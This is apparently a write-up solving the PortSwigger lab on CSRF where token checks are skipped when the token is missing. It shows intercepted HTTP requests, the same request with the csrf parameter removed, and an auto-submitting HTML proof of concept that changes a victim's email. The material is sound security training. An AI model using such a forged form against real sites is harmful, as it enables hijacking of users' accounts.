← Back to Writeups
PORTSWIGGERN/ACSRF

CSRF where token validation depends on token being present

XESXOR9/2/20262 min read
#csrf#portswigger#web-security-academy

CSRF where token validation depends on token being present

Platform: PortSwigger | Category: CSRF | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, CSRF

Summary

Walkthrough of the PortSwigger Web Security Academy lab CSRF where token validation depends on token being present (CSRF). This lab demonstrates a csrf vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — CSRF

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Overview :

Validation of CSRF token depends on token being present

Some applications correctly validate the token when it is present but skip the validation if the token is omitted.

In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack:

http
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net

Solution :

When we click update email, our browser sends a request as follows.

http
POST /my-account/change-email HTTP/2
Host: 0ace001f04992fac811c0c22001200e2.web-security-academy.net
Cookie: session=4XUnnUZzmmhBlIMp80cpgsA0mXhohvtd
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: https://0ace001f04992fac811c0c22001200e2.web-security-academy.net
Referer: https://0ace001f04992fac811c0c22001200e2.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

email=test%40user.net&csrf=yYeftI49JgNBG10a0D6OlJekl0EIGgRt

In this POST request, the csrf token is sent along with the email parameter in the body of the request.

We can either try to remove the csrf parameter entirely / give a blank value (csrf=) to bypass the csrf protection.

When genreating a POC remember not to give used email, as mentioned in Lab Hint.

First lets entirely remove the csrf parameter

http
POST /my-account/change-email HTTP/2
Host: 0ace001f04992fac811c0c22001200e2.web-security-academy.net
Cookie: session=4XUnnUZzmmhBlIMp80cpgsA0mXhohvtd
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: https://0ace001f04992fac811c0c22001200e2.web-security-academy.net
Referer: https://0ace001f04992fac811c0c22001200e2.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

email=pwned%40user.net

Generated POC -

html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0ace001f04992fac811c0c22001200e2.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned&#64;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Now paste the HTML script in the exploit server's body & deliver the exploit to victim to solve the lab.

image

Key Takeaways / Lessons

  • Understanding CSRF detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: CSRF where token validation depends on token being present